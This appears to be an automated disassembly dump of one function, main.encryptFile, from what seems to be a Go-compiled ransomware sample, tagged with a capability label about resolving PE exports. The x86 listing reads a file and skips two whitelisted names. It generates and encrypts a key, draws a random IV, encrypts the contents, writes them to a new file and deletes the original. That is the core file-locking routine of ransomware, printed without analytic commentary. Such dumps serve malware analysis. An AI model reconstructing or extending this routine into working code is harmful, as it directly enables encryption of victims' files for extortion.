Function at 0x4f3ec0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword [0x63aa18]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x4f4254
sub esp, 0x74
mov eax, dword [esp + 0x78]
mov dword [esp], eax
mov ecx, dword [esp + 0x7c]
mov dword [esp + 4], ecx
call sym.path_filepath.Base
cmp dword [esp + 0xc], 9
je 0x4f3ef6
xor eax, eax
jmp 0x4f3f19
mov eax, dword [esp + 8]
mov dword [esp], eax
lea eax, [0x51af87]
mov dword [esp + 4], eax
mov dword [esp + 8], 9
call sym.runtime.memequal
movzx eax, byte [esp + 0xc]
test al, al
jne 0x4f3f63
mov eax, dword [esp + 0x78]
mov dword [esp], eax
mov ecx, dword [esp + 0x7c]
mov dword [esp + 4], ecx
call sym.path_filepath.Base
cmp dword [esp + 0xc], 0xe
je 0x4f3f3c
xor eax, eax
jmp 0x4f3f5f
mov eax, dword [esp + 8]
mov dword [esp], eax
lea eax, [0x51c953]
mov dword [esp + 4], eax
mov dword [esp + 8], 0xe
call sym.runtime.memequal
movzx eax, byte [esp + 0xc]
test al, al
je 0x4f3f7d
mov dword [esp + 0x8c], 0
mov dword [esp + 0x90], 0
add esp, 0x74
ret
mov eax, dword [esp + 0x78]
mov dword [esp], eax
mov ecx, dword [esp + 0x7c]
mov dword [esp + 4], ecx
call sym.os.ReadFile
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
test eax, eax
jne 0x4f423e
mov dword [esp + 0x68], ecx
mov dword [esp + 0x4c], edx
mov dword [esp + 0x50], ebx
call sym.main.generateKey
mov eax, dword [esp + 0xc]
mov ecx, dword [esp]
mov edx, dword [esp + 4]
mov ebx, dword [esp + 8]
test eax, eax
jne 0x4f4228
mov dword [esp + 0x54], edx
mov dword [esp + 0x6c], ecx
mov dword [esp + 0x58], ebx
mov eax, dword [esp + 0x80]
mov dword [esp + 0xc], eax
call sym.main.encryptKey
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x18]
mov ebx, dword [esp + 0x14]
test eax, eax
jne 0x4f4212
mov dword [esp + 0x60], ecx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], edx
lea eax, [0x503b00]
mov dword [esp], eax
mov dword [esp + 4], 0x10
mov dword [esp + 8], 0x10
call sym.runtime.makeslice
mov eax, dword [esp + 0xc]
mov dword [esp + 0x70], eax
mov dword [esp], eax
mov dword [esp + 4], 0x10
mov dword [esp + 8], 0x10
call sym.crypto_rand.Read
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x4f41fc
mov eax, dword [esp + 0x68]
mov dword [esp], eax
mov eax, dword [esp + 0x4c]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x50]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x6c]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x54]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x58]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x70]
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x10
call sym.main.encryptData
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x24]
test eax, eax
jne 0x4f41e6
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x40]
lea ebx, [edx + eax]
mov ebp, dword [esp + 0x44]
cmp ebp, ebx
jb 0x4f40d0
mov esi, dword [esp + 0x60]
jmp 0x4f4116
mov dword [esp + 0x48], eax
mov dword [esp + 0x64], ecx
mov ecx, dword [esp + 0x60]
mov dword [esp], ecx
mov dword [esp + 4], ebx
mov dword [esp + 8], ebp
mov dword [esp + 0xc], eax
lea ecx, [0x503b00]
mov dword [esp + 0x10], ecx
call sym.runtime.growslice
mov ecx, dword [esp + 0x14]
mov ebx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x48]
mov esi, ecx
mov ebp, edx
mov ecx, dword [esp + 0x64]
mov edx, dword [esp + 0x40]
mov dword [esp + 0x5c], esi
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebp
add edx, esi
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call sym.runtime.memmove
mov dword [esp], 0
mov eax, dword [esp + 0x78]
mov dword [esp + 4], eax
mov ecx, dword [esp + 0x7c]
mov dword [esp + 8], ecx
mov edx, dword [esp + 0x84]
mov dword [esp + 0xc], edx
mov edx, dword [esp + 0x88]
mov dword [esp + 0x10], edx
call sym.runtime.concatstring2
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
mov dword [esp], eax
mov dword [esp + 4], ecx
mov eax, dword [esp + 0x5c]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x38]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0x1a4
call sym.os.WriteFile
mov eax, dword [esp + 0x18]
test eax, eax
je 0x4f41b8
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x8c], eax
mov dword [esp + 0x90], ecx
add esp, 0x74
ret
mov eax, dword [esp + 0x78]
mov dword [esp], eax
mov eax, dword [esp + 0x7c]
mov dword [esp + 4], eax
call sym.os.Remove
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x8c], eax
mov dword [esp + 0x90], ecx
add esp, 0x74
ret
mov ecx, dword [esp + 0x34]
mov dword [esp + 0x8c], eax
mov dword [esp + 0x90], ecx
add esp, 0x74
ret
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x8c], eax
mov dword [esp + 0x90], ecx
add esp, 0x74
ret
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x8c], eax
mov dword [esp + 0x90], ecx
add esp, 0x74
ret
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x8c], eax
mov dword [esp + 0x90], ecx
add esp, 0x74
ret
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x8c], eax
mov dword [esp + 0x90], ecx
add esp, 0x74
ret
call sym.runtime.morestack_noctxt
jmp sym.main.encryptFile